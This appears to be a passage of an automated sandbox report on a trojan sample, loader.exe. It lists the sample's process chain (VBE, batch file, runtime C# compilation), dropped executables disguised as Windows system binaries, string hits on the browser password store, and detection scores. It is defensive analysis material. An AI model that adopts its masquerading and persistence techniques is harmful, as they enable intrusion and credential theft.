Source: RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

PE file has nameless sections

Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_04FF6859 NtQueryInformationProcess,GetSystemInfo,

0_2_04FF6859

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\Performance\WinSAT\DataStore\b8bba6a6aa94c9	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\DiagTrack\Scenarios\21b1a557fd31cc	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\LiveKernelReports\9e8d7a4ca61bd9	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCE59377155588453BA4975E271891CFF.TMP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCE59377155588453BA4975E271891CFF.TMP

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0063848E	0_2_0063848E
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006340FE	0_2_006340FE
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006400B7	0_2_006400B7
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00644088	0_2_00644088
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00647153	0_2_00647153
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006551C9	0_2_006551C9
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006332F7	0_2_006332F7
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006462CA	0_2_006462CA
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006443BF	0_2_006443BF
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0063F461	0_2_0063F461
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0065D440	0_2_0065D440
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0063C426	0_2_0063C426
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006477EF	0_2_006477EF
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0063286B	0_2_0063286B
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0065D8EE	0_2_0065D8EE
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006619F4	0_2_006619F4
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0063E9B7	0_2_0063E9B7
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00646CDC	0_2_00646CDC
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00643E0B	0_2_00643E0B
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0063EFE2	0_2_0063EFE2
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00654F9A	0_2_00654F9A
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D10B6	0_2_006D10B6
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006DB298	0_2_006DB298
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D0424	0_2_006D0424
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_04FF4569	0_2_04FF4569
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Code function: 5_2_00007FFD343F0D48	5_2_00007FFD343F0D48
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Code function: 5_2_00007FFD343F0E43	5_2_00007FFD343F0E43
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Code function: 5_2_00007FFD343F1355	5_2_00007FFD343F1355
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD343E0D48	17_2_00007FFD343E0D48
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD343E0E43	17_2_00007FFD343E0E43
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD343E1355	17_2_00007FFD343E1355
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A60BC	17_2_00007FFD344A60BC
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A3910	17_2_00007FFD344A3910
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A4D11	17_2_00007FFD344A4D11
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A4114	17_2_00007FFD344A4114
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A35AC	17_2_00007FFD344A35AC
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A49D4	17_2_00007FFD344A49D4
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A6586	17_2_00007FFD344A6586
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A5224	17_2_00007FFD344A5224
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A465C	17_2_00007FFD344A465C
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A3614	17_2_00007FFD344A3614
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A6BA4	17_2_00007FFD344A6BA4
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A3374	17_2_00007FFD344A3374
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A4F84	17_2_00007FFD344A4F84
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A1C20	17_2_00007FFD344A1C20
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A3454	17_2_00007FFD344A3454
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A6C48	17_2_00007FFD344A6C48
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD344A2FFC	17_2_00007FFD344A2FFC
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD347D0879	17_2_00007FFD347D0879
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD347D58A9	17_2_00007FFD347D58A9
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD347DCAC0	17_2_00007FFD347DCAC0
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Code function: 17_2_00007FFD34909B4D	17_2_00007FFD34909B4D
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Code function: 20_2_00007FFD343D0D48	20_2_00007FFD343D0D48
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Code function: 20_2_00007FFD343D0E43	20_2_00007FFD343D0E43
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Code function: 20_2_00007FFD343D1355	20_2_00007FFD343D1355
Source: C:\Recovery\conhost.exe	Code function: 21_2_00007FFD34400D48	21_2_00007FFD34400D48
Source: C:\Recovery\conhost.exe	Code function: 21_2_00007FFD34400E43	21_2_00007FFD34400E43
Source: C:\Recovery\conhost.exe	Code function: 21_2_00007FFD34401355	21_2_00007FFD34401355
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Code function: 22_2_00007FFD343E0D48	22_2_00007FFD343E0D48
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Code function: 22_2_00007FFD343E0E43	22_2_00007FFD343E0E43
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Code function: 22_2_00007FFD343E1355	22_2_00007FFD343E1355
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Code function: 23_2_00007FFD343D0D48	23_2_00007FFD343D0D48
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Code function: 23_2_00007FFD343D0E43	23_2_00007FFD343D0E43
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Code function: 23_2_00007FFD343D1355	23_2_00007FFD343D1355
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Code function: 24_2_00007FFD343D0D48	24_2_00007FFD343D0D48
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Code function: 24_2_00007FFD343D0E43	24_2_00007FFD343D0E43
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Code function: 24_2_00007FFD343D1355	24_2_00007FFD343D1355
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343E0E06	25_2_00007FFD343E0E06
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343E14A9	25_2_00007FFD343E14A9
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343E1A7E	25_2_00007FFD343E1A7E
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343E1338	25_2_00007FFD343E1338
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343E12F4	25_2_00007FFD343E12F4
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343E13C0	25_2_00007FFD343E13C0
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343E137C	25_2_00007FFD343E137C
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343E1404	25_2_00007FFD343E1404
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343E1411	25_2_00007FFD343E1411
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343D0D48	25_2_00007FFD343D0D48
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343D0E43	25_2_00007FFD343D0E43
Source: C:\Recovery\conhost.exe	Code function: 25_2_00007FFD343D1355	25_2_00007FFD343D1355
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Code function: 26_2_00007FFD343D0D48	26_2_00007FFD343D0D48
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Code function: 26_2_00007FFD343D0E43	26_2_00007FFD343D0E43
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Code function: 26_2_00007FFD343D1355	26_2_00007FFD343D1355

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\BLdnhdFQ.log 75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986

Source: C:\Users\user\Desktop\loader.exe	Code function: String function: 006C4264 appears 65 times
Source: C:\Users\user\Desktop\loader.exe	Code function: String function: 0064EB78 appears 36 times
Source: C:\Users\user\Desktop\loader.exe	Code function: String function: 0064F5F0 appears 31 times
Source: C:\Users\user\Desktop\loader.exe	Code function: String function: 0064EC50 appears 55 times

Source: kmFpzVgz.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: keVXUmFt.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SSuSBQke.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: BLdnhdFQ.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: ZPhRdffT.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: PHEbWhMM.log.17.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: JgiUHXBa.log.17.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: pOvooSqL.log.17.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: XCTiUwVw.log.17.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: OTzTkTQO.log.17.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: loader.exe

Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs loader.exe

Source: loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: chainPorthostCommon.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: tQESKTdysPpsVzUyXTE.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: conhost.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: dasHost.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: csrss.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RuntimeBroker.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: loader.exe	Static PE information: Section: ZLIB complexity 0.997276135089686
Source: loader.exe	Static PE information: Section: ZLIB complexity 0.9948459201388888
Source: loader.exe	Static PE information: Section: cheat ZLIB complexity 0.9968048443434617

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@35/291@2/1

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe

File created: C:\Program Files (x86)\microsoft\csrss.exe

Jump to behavior

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe

File created: C:\Users\user\Desktop\kmFpzVgz.log

Jump to behavior

Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4232:120:WilError_03
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-eaeo9JEo1ruqi45TCDYM
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3352:120:WilError_03

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe

File created: C:\Users\user\AppData\Local\Temp\xiz5tqzr

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ServerWinRuntimeBroker\wJc3A8cK4hSMmtCgCMOA49.bat" "

Source: C:\Users\user\Desktop\loader.exe	Command line argument: sfxname	0_2_0064DF1E
Source: C:\Users\user\Desktop\loader.exe	Command line argument: sfxstime	0_2_0064DF1E
Source: C:\Users\user\Desktop\loader.exe	Command line argument: STARTDLG	0_2_0064DF1E
Source: C:\Users\user\Desktop\loader.exe	Command line argument: xzh	0_2_0064DF1E

Source: C:\Users\user\Desktop\loader.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: loader.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\loader.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: CwbJ0mVCgt.17.dr, de3RQno5mm.17.dr, 0bAGSaIloU.17.dr, 71vf3aESwR.17.dr, nl7holVoK2.17.dr, 2xjfsQZ2Oh.17.dr, wZSuZ37Yxz.17.dr, bZmkMsPMuF.17.dr, iftkGTBA3n.17.dr, NXEWuyzxbY.17.dr, baAXtHnJu8.17.dr, WiIfdSYJo8.17.dr, WTJCl3vkX0.17.dr, HLtjQkDKgJ.17.dr, 7y7NgGczeq.17.dr, Nk3oF5AD7f.17.dr, inxWYTeNR8.17.dr, onXF6bxSWi.17.dr, Jup0iOChsz.17.dr, qDslv6SWQW.17.dr, AoeS8TOKyQ.17.dr, OlgNRJm9Kj.17.dr, mBv65Tg9xT.17.dr, DkSlZcNwi8.17.dr, 9YDkCEequl.17.dr, iXT0uoDdar.17.dr, mbBd912zD4.17.dr, tj5OZvDMsQ.17.dr, hVZA6YWOjg.17.dr, FlcsZpruRo.17.dr, ZrvfXFqFfB.17.dr, UMuv3DhKb6.17.dr, fulGOXAGc3.17.dr, SdOOWi3B5L.17.dr, 4n1B3EoqiD.17.dr, m5SDxSfTeE.17.dr, 4vX6yEeh4Q.17.dr, cJbHqVw7Nd.17.dr, 3hDm9jrtsr.17.dr, dBG31pxIKN.17.dr, 0kpuNgfS4z.17.dr, F5v0I4Bo7c.17.dr, jdeF0Imnon.17.dr, rRwKpR0eEh.17.dr, Ap5qYhZPvf.17.dr, KxTBxmfuHr.17.dr, BVY4CFkbFp.17.dr, uuegMOlRWI.17.dr, SYXCZQInFG.17.dr, pBAzMx9yU8.17.dr, rXYOrxVmy8.17.dr, XIKz5h0d1S.17.dr, U8s1VXJGab.17.dr, mLyVdUoRER.17.dr, g0cnN19Ln3.17.dr, 4C8vlfUZLp.17.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: loader.exe	Virustotal: Detection: 76%
Source: loader.exe	ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\loader.exe

File read: C:\Users\user\Desktop\loader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ServerWinRuntimeBroker\wJc3A8cK4hSMmtCgCMOA49.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe "C:\ServerWinRuntimeBroker/chainPorthostCommon.exe"
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF2D.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC1E4D641D33A148FC98C6B9EA6A6669B1.TMP"
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC121.tmp" "c:\Windows\System32\CSCE59377155588453BA4975E271891CFF.TMP"
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\HArqwkOZhw.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\LiveKernelReports\RuntimeBroker.exe "C:\Windows\LiveKernelReports\RuntimeBroker.exe"
Source: unknown	Process created: C:\Windows\DiagTrack\Scenarios\dasHost.exe "C:\Windows\DiagTrack\Scenarios\dasHost.exe"
Source: unknown	Process created: C:\Recovery\conhost.exe "C:\Recovery\conhost.exe"
Source: unknown	Process created: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe "C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe"
Source: unknown	Process created: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe "C:\ServerWinRuntimeBroker\chainPorthostCommon.exe"
Source: unknown	Process created: C:\Windows\DiagTrack\Scenarios\dasHost.exe "C:\Windows\DiagTrack\Scenarios\dasHost.exe"
Source: unknown	Process created: C:\Recovery\conhost.exe "C:\Recovery\conhost.exe"
